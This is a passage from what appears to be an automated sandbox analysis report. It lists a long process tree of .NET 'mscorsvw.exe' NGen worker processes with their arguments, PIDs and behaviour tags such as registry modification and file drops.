                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                  PID:2476
                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 274 -InterruptEvent 28c -NGENProcess 264 -Pipe 25c -Comment "NGen Worker Process"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1632
                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 290 -NGENProcess 288 -Pipe 218 -Comment "NGen Worker Process"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2668
                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 290 -InterruptEvent 294 -NGENProcess 27c -Pipe 234 -Comment "NGen Worker Process"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:2908
                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 294 -InterruptEvent 298 -NGENProcess 264 -Pipe 25c -Comment "NGen Worker Process"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:1212
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 298 -InterruptEvent 29c -NGENProcess 288 -Pipe 284 -Comment "NGen Worker Process"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                          PID:840
                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 29c -InterruptEvent 288 -NGENProcess 294 -Pipe 27c -Comment "NGen Worker Process"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:456
                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 288 -InterruptEvent 294 -NGENProcess 274 -Pipe 264 -Comment "NGen Worker Process"
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1596
                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 294 -InterruptEvent 2a8 -NGENProcess 2a0 -Pipe 290 -Comment "NGen Worker Process"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                              PID:2260
                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2a8 -InterruptEvent 2a0 -NGENProcess 288 -Pipe 2a4 -Comment "NGen Worker Process"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:2296
                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2a0 -InterruptEvent 2b0 -NGENProcess 274 -Pipe 29c -Comment "NGen Worker Process"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1200
                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b4 -InterruptEvent 2a8 -NGENProcess 2b8 -Pipe 2a0 -Comment "NGen Worker Process"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:2332
                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2a8 -InterruptEvent 28c -NGENProcess 274 -Pipe 294 -Comment "NGen Worker Process"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:2172
                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 28c -InterruptEvent 2bc -NGENProcess 2b0 -Pipe 278 -Comment "NGen Worker Process"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:2152
                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2bc -InterruptEvent 2c0 -NGENProcess 2a8 -Pipe 2b4 -Comment "NGen Worker Process"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:616
                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 298 -InterruptEvent 2c0 -NGENProcess 2bc -Pipe 2b0 -Comment "NGen Worker Process"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:2340
                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c0 -InterruptEvent 2ac -NGENProcess 2a8 -Pipe 288 -Comment "NGen Worker Process"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1916
                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 2cc -NGENProcess 2b8 -Pipe 274 -Comment "NGen Worker Process"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:1508
                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2cc -InterruptEvent 2d4 -NGENProcess 2bc -Pipe 2d0 -Comment "NGen Worker Process"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:2036
                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 2dc -NGENProcess 28c -Pipe 2d8 -Comment "NGen Worker Process"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1668
                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 2cc -NGENProcess 2e0 -Pipe 2d4 -Comment "NGen Worker Process"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:2284
                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 2cc -NGENProcess 2c8 -Pipe 28c -Comment "NGen Worker Process"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1348
                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2cc -InterruptEvent 2a8 -NGENProcess 2e0 -Pipe 2bc -Comment "NGen Worker Process"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:2752
                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e8 -InterruptEvent 2a8 -NGENProcess 2cc -Pipe 2c4 -Comment "NGen Worker Process"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:2640
                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2a8 -InterruptEvent 2ac -NGENProcess 2e0 -Pipe 2e4 -Comment "NGen Worker Process"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:2320
                                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c0 -InterruptEvent 2f0 -NGENProcess 2e8 -Pipe 2ac -Comment "NGen Worker Process"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:2688
                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f0 -InterruptEvent 2dc -NGENProcess 2e0 -Pipe 2ec -Comment "NGen Worker Process"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                PID:108
                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2dc -InterruptEvent 2e0 -NGENProcess 2b8 -Pipe 2fc -Comment "NGen Worker Process"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:2176
                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 2c8 -NGENProcess 2f8 -Pipe 2f4 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:2308
                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 300 -NGENProcess 2f0 -Pipe 2cc -Comment "NGen Worker Process"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:896
                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 300 -InterruptEvent 304 -NGENProcess 2b8 -Pipe 2a8 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:1120
                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 2c8 -NGENProcess 30c -Pipe 300 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:972
                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 2c0 -NGENProcess 2b8 -Pipe 2dc -Comment "NGen Worker Process"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:2884
                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 310 -InterruptEvent 308 -NGENProcess 314 -Pipe 2c8 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1180
                                                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e8 -InterruptEvent 304 -NGENProcess 318 -Pipe 310 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:2756
                                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 304 -InterruptEvent 2e0 -NGENProcess 314 -Pipe 2f0 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:2776
                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 31c -NGENProcess 308 -Pipe 30c -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:800
                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 320 -NGENProcess 318 -Pipe 2f8 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:2732
                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 304 -InterruptEvent 324 -NGENProcess 2e0 -Pipe 320 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:2260
                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 324 -NGENProcess 304 -Pipe 318 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:2824
                                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 32c -InterruptEvent 2e8 -NGENProcess 328 -Pipe 324 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:2200
                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e8 -InterruptEvent 328 -NGENProcess 330 -Pipe 334 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:2472
                                                                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 328 -InterruptEvent 308 -NGENProcess 2c0 -Pipe 31c -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:980
                                                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 338 -NGENProcess 32c -Pipe 314 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:2608
                                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 33c -NGENProcess 330 -Pipe 304 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:1732
                                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 33c -InterruptEvent 340 -NGENProcess 2c0 -Pipe 2e0 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:1168
                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 344 -InterruptEvent 338 -NGENProcess 348 -Pipe 33c -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:2384
                                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 2e8 -NGENProcess 2c0 -Pipe 328 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:2796
                                                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 34c -InterruptEvent 344 -NGENProcess 350 -Pipe 338 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1176
                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 344 -InterruptEvent 2b8 -NGENProcess 2c0 -Pipe 308 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:2936
                                                                                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 354 -NGENProcess 2e8 -Pipe 330 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:328
                                                                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 354 -InterruptEvent 358 -NGENProcess 350 -Pipe 338 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:2432
                                                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 358 -InterruptEvent 35c -NGENProcess 2c0 -Pipe 340 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:2512
                                                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 35c -InterruptEvent 2c0 -NGENProcess 2b8 -Pipe 364 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:2640
                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2c0 -InterruptEvent 34c -NGENProcess 360 -Pipe 344 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:2216
                                                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 35c -NGENProcess 36c -Pipe 2c0 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:2476
                                                                                                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 35c -InterruptEvent 348 -NGENProcess 360 -Pipe 2e8 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:1056
                                                                                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 370 -InterruptEvent 368 -NGENProcess 374 -Pipe 35c -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:2844
                                                                                                                                                                                                                                                                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 350 -NGENProcess 360 -Pipe 354 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:2436
                                                                                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 378 -InterruptEvent 350 -NGENProcess 368 -Pipe 348 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:2372
                                                                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 350 -InterruptEvent 2b8 -NGENProcess 360 -Pipe 358 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:2488
                                                                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 380 -NGENProcess 370 -Pipe 36c -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:2564
                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 384 -NGENProcess 368 -Pipe 37c -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                      PID:1544
                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 384 -InterruptEvent 388 -NGENProcess 360 -Pipe 34c -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                      PID:2804
                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 380 -NGENProcess 390 -Pipe 384 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                      PID:2608
                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 378 -NGENProcess 360 -Pipe 350 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                      PID:1732
                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 374 -InterruptEvent 38c -NGENProcess 394 -Pipe 380 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                      PID:2488
                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 38c -InterruptEvent 384 -NGENProcess 360 -Pipe 368 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                      PID:2564
                                                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 384 -InterruptEvent 360 -NGENProcess 374 -Pipe 378 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:2896
                                                                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 360 -InterruptEvent 390 -NGENProcess 398 -Pipe 15c -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                        PID:2888
                                                                                                                                                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3a0 -InterruptEvent 390 -NGENProcess 360 -Pipe 388 -Comment "NGen Worker Process"
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                        PID:1948
